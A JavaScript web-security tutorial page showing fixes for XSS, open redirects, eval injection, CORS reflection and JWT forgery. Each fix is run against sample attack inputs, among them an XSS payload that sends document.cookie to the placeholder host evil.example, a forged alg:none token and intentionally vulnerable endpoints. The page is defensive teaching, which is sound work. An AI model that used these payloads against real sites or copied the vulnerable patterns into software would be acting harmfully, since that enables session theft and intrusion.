Skip to main content
JavaScript · lesson 23 of 24
JavaScript advanced Lesson 23 of 24

Also part of: Cryptography Web Security (OWASP Top 10, fix-side)

JavaScript Security Best Practices

Learn how to protect JavaScript applications from XSS, CSRF, prototype pollution, insecure JWT handling, and other common web security vulnerabilities.

By SkillByExample · Updated

Most JavaScript security bugs come from one mistake: data from a user ends up being treated as code — HTML, a URL, a script, a trusted object key. Every example below runs for real: plain Node, Node with the named npm package (dompurify, zod, jsonwebtoken, express, helmet), or — for the Content Security Policy — headless Chromium driven by Playwright.

XSS: User Input Rendered as HTML

Cross-site scripting happens when user input reaches the page as markup. Here is a server that echoes a query parameter into HTML, once raw and once escaped.

import http from "node:http";

const escapeHtml = (s) =>
  s.replace(/[&<>"']/g, (c) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" })[c]);

const server = http.createServer((req, res) => {
  const url = new URL(req.url, "http://localhost");
  const name = url.searchParams.get("name") ?? "guest";
  const body = url.pathname === "/unsafe" ? `<h1>Hello, ${name}!</h1>` : `<h1>Hello, ${escapeHtml(name)}!</h1>`;
  res.setHeader("Content-Type", "text/html");
  res.end(body);
}).listen(0);

const payload = encodeURIComponent(`<img src=x onerror="fetch('//evil.example/?c='+document.cookie)">`);
for (const path of ["/unsafe", "/safe"]) {
  const res = await fetch(`http://localhost:${server.address().port}${path}?name=${payload}`);
  console.log(path.padEnd(8), await res.text());
}
server.close();
$ node reflected.mjs
/unsafe  <h1>Hello, <img src=x onerror="fetch('//evil.example/?c='+document.cookie)">!</h1>
/safe    <h1>Hello, &lt;img src=x onerror=&quot;fetch(&#39;//evil.example/?c=&#39;+document.cookie)&quot;&gt;!</h1>

The unsafe response contains a real <img> tag whose onerror handler would run in the victim’s browser and send their cookies to the attacker — all from a link someone clicked. Escaping the five HTML-special characters turns the payload into harmless text. In the browser the equivalent rule is textContent, not innerHTML (see the DOM lesson, which runs this exploit for real). Template engines and frameworks like React escape by default; the danger is every place you opt out.

DOM-Based XSS: Dangerous URLs

A redirect target taken from the query string can be a javascript: URL or another site. Validate it by parsing, not by string matching.

const ORIGIN = "https://app.example.com";

function safeRedirectTarget(input) {
  try {
    const url = new URL(input, ORIGIN);
    return url.origin === ORIGIN ? url.pathname + url.search : "/";
  } catch {
    return "/";
  }
}

const naive = (input) => (input.startsWith("/") ? input : "/");

for (const next of ["/settings?tab=2", "javascript:alert(document.cookie)",
                    "https://evil.example/login", "//evil.example/login", "/\\evil.example"]) {
  console.log(next.padEnd(36), "naive:", naive(next).padEnd(18), "safe:", safeRedirectTarget(next));
}
$ node redirect.js
/settings?tab=2                      naive: /settings?tab=2    safe: /settings?tab=2
javascript:alert(document.cookie)    naive: /                  safe: /
https://evil.example/login           naive: /                  safe: /
//evil.example/login                 naive: //evil.example/login safe: /
/\evil.example                       naive: /\evil.example     safe: /

The naive startsWith("/") check lets //evil.example/login through — a protocol-relative URL that browsers treat as https://evil.example/login — and /\evil.example too, because the URL parser treats a backslash like a slash. The parser-based check catches both: resolved against our origin, they turn out to point somewhere else. Never try to out-guess the URL grammar with string checks.

Rendering User HTML: DOMPurify

When users genuinely author rich text, sanitize it with an allowlist before inserting it. DOMPurify needs a DOM; in Node, jsdom provides one.

import { JSDOM } from "jsdom";
import createDOMPurify from "dompurify";

const DOMPurify = createDOMPurify(new JSDOM("").window);

const userHtml = `<p>Nice <b>post</b>!</p><img src=x onerror=alert(1)>
<a href="javascript:alert(2)">click</a> <a href="https://example.com" onclick="steal()">ok</a>
<script>alert(3)</script><iframe src="https://evil.example"></iframe>`;

const clean = DOMPurify.sanitize(userHtml, {
  ALLOWED_TAGS: ["p", "b", "i", "em", "strong", "a"],
  ALLOWED_ATTR: ["href"],
});
console.log(clean);
console.log("removed:", DOMPurify.removed.length, "items");
$ node purify.mjs
<p>Nice <b>post</b>!</p>
<a>click</a> <a href="https://example.com">ok</a>

removed: 6 items

Everything executable is gone: the <script>, the <iframe>, the <img> (not on the allowlist), the onclick attribute, and the javascript: URL — its <a> survives but loses its href. The harmless markup is kept. An allowlist of tags and attributes is the safe design; blocklists always miss something.

Never Evaluate User Input

eval, new Function, and the string form of setTimeout compile their argument as code.

const userInput = "1 + 1; globalThis.pwned = process.version";

const viaEval = eval(userInput);
console.log("eval returned:", viaEval, "| side effect:", globalThis.pwned);

delete globalThis.pwned;
const safe = /^\s*\d+\s*[-+*/]\s*\d+\s*$/.test(userInput) ? "would compute" : "rejected: not a simple expression";
console.log(safe);
console.log(JSON.parse('{"a": 1}'), "— parsing data, not running code");
$ node eval.js
eval returned: v22.22.2 | side effect: v22.22.2
rejected: not a simple expression
{ a: 1 } — parsing data, not running code

The “calculator input” ran a second statement with full access to the process — on a server that could as easily read files or environment secrets. There’s almost never a reason to evaluate strings: parse data with JSON.parse, validate the exact shape you accept, and write a real parser if you need expressions.

Content Security Policy

A CSP header tells the browser which scripts may run, so an injected script is blocked even if an XSS bug slips through. Here a server sends a nonce-based policy, and headless Chromium loads the page.

import http from "node:http";
import crypto from "node:crypto";
import { chromium } from "playwright";

const server = http.createServer((req, res) => {
  const nonce = crypto.randomBytes(16).toString("base64");
  res.setHeader("Content-Security-Policy", `default-src 'self'; script-src 'nonce-${nonce}'`);
  res.setHeader("Content-Type", "text/html");
  res.end(`<p id="out"></p>
    <script nonce="${nonce}">document.getElementById("out").textContent += "trusted ran; ";</script>
    <script>document.getElementById("out").textContent += "INJECTED ran; ";</script>
    <img src="x" onerror="document.getElementById('out').textContent += 'onerror ran; '">`);
}).listen(0);

const browser = await chromium.launch();
const page = await browser.newPage();
page.on("console", (msg) => console.log("console:", msg.text().slice(0, 90) + "…"));
await page.goto(`http://localhost:${server.address().port}/`);
console.log("page text:", await page.textContent("#out"));
await browser.close();
server.close();
$ node csp.mjs
console: Refused to execute inline script because it violates the following Content Security Policy…
console: Refused to execute inline event handler because it violates the following Content Security…
page text: trusted ran;

Only the script carrying the per-request nonce ran. The injected inline <script> and the onerror handler were both refused by the browser, which logged a CSP violation for each (the example truncates those long messages). An attacker can inject markup but can’t guess a fresh random nonce. Generate a new nonce for every response — a fixed one is just a password printed in the page source.

Validate Input on the Server

Client-side checks are UX; anyone can send any request with curl. Validate every request body on the server against a schema — here with Zod.

import { z } from "zod";

const CreateUser = z.object({
  username: z.string().min(3).max(30).regex(/^[a-zA-Z0-9_]+$/, "letters, digits and _ only"),
  email: z.email(),
  age: z.number().int().min(13).max(120),
  website: z.url({ protocol: /^https?$/ }).optional(),
});

const requests = [
  { username: "alice_1", email: "alice@example.com", age: 30, isAdmin: true },
  { username: "<script>", email: "nope", age: "30", website: "javascript:alert(1)" },
];

for (const body of requests) {
  const result = CreateUser.safeParse(body);
  console.log(result.success ? result.data : z.flattenError(result.error).fieldErrors);
}
$ node validate.mjs
{ username: 'alice_1', email: 'alice@example.com', age: 30 }
{
  username: [ 'letters, digits and _ only' ],
  email: [ 'Invalid email address' ],
  age: [ 'Invalid input: expected number, received string' ],
  website: [ 'Invalid URL' ]
}

The valid body came back without isAdmin: by default Zod strips keys the schema doesn’t declare, which blocks mass-assignment attacks where a client adds fields you never meant to accept. The bad body failed on every field, including age: "30" — a string, not a number, so no silent coercion — and a javascript: URL that a plain “is it a URL?” check would have allowed.

CORS: Don’t Reflect the Origin

CORS headers tell browsers which other sites may read your API’s responses. Reflecting whatever Origin arrives, with credentials allowed, lets any site read a logged-in user’s data.

import http from "node:http";

const ALLOWED = new Set(["https://app.example.com"]);

const server = http.createServer((req, res) => {
  const origin = req.headers.origin;
  if (req.url === "/reflect") {
    res.setHeader("Access-Control-Allow-Origin", origin ?? "*");
    res.setHeader("Access-Control-Allow-Credentials", "true");
  } else if (ALLOWED.has(origin)) {
    res.setHeader("Access-Control-Allow-Origin", origin);
    res.setHeader("Access-Control-Allow-Credentials", "true");
  }
  res.setHeader("Vary", "Origin");
  res.end('{"balance": 1200}');
}).listen(0);

for (const path of ["/reflect", "/allowlist"]) {
  for (const origin of ["https://app.example.com", "https://evil.example"]) {
    const res = await fetch(`http://localhost:${server.address().port}${path}`, { headers: { Origin: origin } });
    console.log(path.padEnd(10), origin.padEnd(24), "->", res.headers.get("access-control-allow-origin") ?? "(no header: browser blocks the read)");
  }
}
server.close();
$ node cors.mjs
/reflect   https://app.example.com  -> https://app.example.com
/reflect   https://evil.example     -> https://evil.example
/allowlist https://app.example.com  -> https://app.example.com
/allowlist https://evil.example     -> (no header: browser blocks the read)

With reflection, evil.example is granted access just by asking. With an allowlist, it gets no Access-Control-Allow-Origin header, so the browser refuses to hand the response to the evil page’s script. Vary: Origin stops a shared cache from serving one origin’s CORS headers to another. Note what CORS is not: the request still reached the server — CORS only controls whether browser JavaScript on another site can read the response.

JWTs: Verify, and Pin the Algorithm

A JWT’s payload is only base64-encoded, not encrypted, and it means nothing until its signature is verified.

import jwt from "jsonwebtoken";

const SECRET = "a-long-random-secret-from-the-environment-not-source-code";
const token = jwt.sign({ sub: "alice", role: "user" }, SECRET, { algorithm: "HS256", expiresIn: "15m" });

const decodedOnly = JSON.parse(Buffer.from(token.split(".")[1], "base64url").toString());
console.log("anyone can read:", decodedOnly);

const b64 = (o) => Buffer.from(JSON.stringify(o)).toString("base64url");
const forged = `${b64({ alg: "none", typ: "JWT" })}.${b64({ sub: "alice", role: "admin" })}.`;
console.log("naive decode of forged:", JSON.parse(Buffer.from(forged.split(".")[1], "base64url")).role);

const expired = jwt.sign({ sub: "alice", exp: Math.floor(Date.now() / 1000) - 60 }, SECRET);
for (const [label, t] of [["valid", token], ["forged alg:none", forged], ["expired", expired]]) {
  try {
    const claims = jwt.verify(t, SECRET, { algorithms: ["HS256"] });
    console.log(label.padEnd(16), "accepted, role =", claims.role);
  } catch (err) {
    console.log(label.padEnd(16), "rejected:", err.message);
  }
}
$ node jwt.mjs
anyone can read: { sub: 'alice', role: 'user', iat: 1790792716, exp: 1790793616 }
naive decode of forged: admin
valid            accepted, role = user
forged alg:none  rejected: jwt signature is required
expired          rejected: jwt expired

Decoding without verifying would have accepted the forged role: "admin" — the attacker simply wrote it and set alg: "none" to claim no signature is needed. jwt.verify with an explicit algorithms allowlist rejects it, and rejects the expired token too. Keep tokens short-lived, never put secrets in the payload (anyone can read it), and keep the signing secret out of source code.

Security Headers

helmet sets a batch of protective response headers for Express apps in one line.

import express from "express";
import helmet from "helmet";

const app = express();
app.use(helmet());
app.get("/", (req, res) => res.send("ok"));

const server = app.listen(0, async () => {
  const res = await fetch(`http://localhost:${server.address().port}/`);
  for (const name of ["content-security-policy", "strict-transport-security", "x-content-type-options",
                      "x-frame-options", "referrer-policy", "x-powered-by"]) {
    console.log(name.padEnd(26), res.headers.get(name) ?? "(not sent)");
  }
  server.close();
});
$ node headers.mjs
content-security-policy    default-src 'self';base-uri 'self';font-src 'self' https: data:;form-action 'self';frame-ancestors 'self';img-src 'self' data:;object-src 'none';script-src 'self';script-src-attr 'none';style-src 'self' https: 'unsafe-inline';upgrade-insecure-requests
strict-transport-security  max-age=31536000; includeSubDomains
x-content-type-options     nosniff
x-frame-options            SAMEORIGIN
referrer-policy            no-referrer
x-powered-by               (not sent)

A default CSP, HSTS (force HTTPS for a year), nosniff (don’t guess content types), SAMEORIGIN framing (clickjacking protection) and a privacy-preserving referrer policy — and Express’s X-Powered-By banner is removed so you don’t advertise your stack. Tune the CSP for your app rather than disabling it when something breaks.

Quick Reference

ThreatPrevention
XSSEscape output / textContent; DOMPurify for rich text; CSP with nonces
Open redirect, javascript: URLsParse with new URL and compare origins
Code injectionNever eval, new Function or setTimeout(string) user data
Bad inputServer-side schema validation; strip unknown keys
CORS bypassExplicit origin allowlist, Vary: Origin
JWT forgeryjwt.verify with an algorithms allowlist; short expiry
Prototype pollutionSkip __proto__/constructor/prototype in merges — see Prototypes

Practice

1. Extend escapeHtml's test: show that it neutralises an attribute-breaking payload inside value="…".
const escapeHtml = (s) =>
  s.replace(/[&<>"']/g, (c) => ({ "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;", "'": "&#39;" })[c]);

const input = `" autofocus onfocus="alert(1)`;
console.log(`<input value="${input}">`);
console.log(`<input value="${escapeHtml(input)}">`);
$ node p1.js
<input value="" autofocus onfocus="alert(1)">
<input value="&quot; autofocus onfocus=&quot;alert(1)">

Without escaping ", the payload closes the attribute and adds its own event handler — no angle brackets needed. That’s why the escape set includes both quote characters.

2. Add a password rule to the Zod schema: at least 12 characters with at least one digit.
import { z } from "zod";

const Password = z.string().min(12, "at least 12 characters").regex(/\d/, "needs a digit");
for (const pw of ["short", "longbutnodigits", "correct-horse-7"]) {
  const r = Password.safeParse(pw);
  console.log(pw.padEnd(16), r.success ? "ok" : r.error.issues.map((i) => i.message).join("; "));
}
$ node p2.mjs
short            at least 12 characters; needs a digit
longbutnodigits  needs a digit
correct-horse-7  ok

Zod collects every failing rule rather than stopping at the first, so users see all the requirements at once.

3. Show that jwt.verify rejects a token signed with a different secret.
import jwt from "jsonwebtoken";
const token = jwt.sign({ sub: "mallory", role: "admin" }, "attacker-guess");
try {
  jwt.verify(token, "the-real-server-secret", { algorithms: ["HS256"] });
} catch (err) {
  console.log(err.name, "-", err.message);
}
$ node p3.mjs
JsonWebTokenError - invalid signature

HS256 signatures are only as strong as the secret — use at least 32 random bytes, never a word or a default.

4. Make the redirect check also reject same-origin paths under /admin.
const ORIGIN = "https://app.example.com";
function safeRedirectTarget(input) {
  try {
    const url = new URL(input, ORIGIN);
    if (url.origin !== ORIGIN || url.pathname.startsWith("/admin")) return "/";
    return url.pathname + url.search;
  } catch { return "/"; }
}
for (const next of ["/settings", "/admin/users", "/%61dmin/users", "/x/../admin"]) {
  console.log(next.padEnd(14), "->", safeRedirectTarget(next));
}
$ node p4.js
/settings      -> /settings
/admin/users   -> /
/%61dmin/users -> /%61dmin/users
/x/../admin    -> /

Checking the parsed pathname means .. segments are already resolved. Percent-encoding is a trap, though: /%61dmin is kept encoded by the parser, slips past the check, and a server that decodes paths would serve /admin. Decode (and normalise) before comparing, or better, check the destination’s permissions on the server rather than the URL’s spelling.

Frequently Asked Questions

What is the most common JavaScript security vulnerability?
Cross-Site Scripting (XSS) is consistently the most prevalent. It occurs when user-supplied data is rendered as HTML without sanitization, allowing attackers to inject and execute arbitrary scripts in other users' browsers. The fix is to use textContent instead of innerHTML for user data, and sanitize with DOMPurify when HTML output is genuinely needed.
Is it safe to store JWTs in localStorage?
It's a tradeoff. localStorage is accessible to JavaScript and therefore vulnerable to XSS attacks — if an attacker can run JS on your page, they can steal the token. HttpOnly cookies are not accessible to JavaScript (XSS-safe), but they're vulnerable to CSRF attacks. HttpOnly cookies with proper CSRF protection is generally the more secure choice for session tokens.
What is prototype pollution?
Prototype pollution is a vulnerability where an attacker manipulates Object.prototype by passing crafted input like { '__proto__': { 'isAdmin': true } }. Since all objects inherit from Object.prototype, this can affect application logic globally. Prevent it by validating merge/deep-clone inputs, using Object.create(null) for lookup tables, and avoiding recursive merge of untrusted data.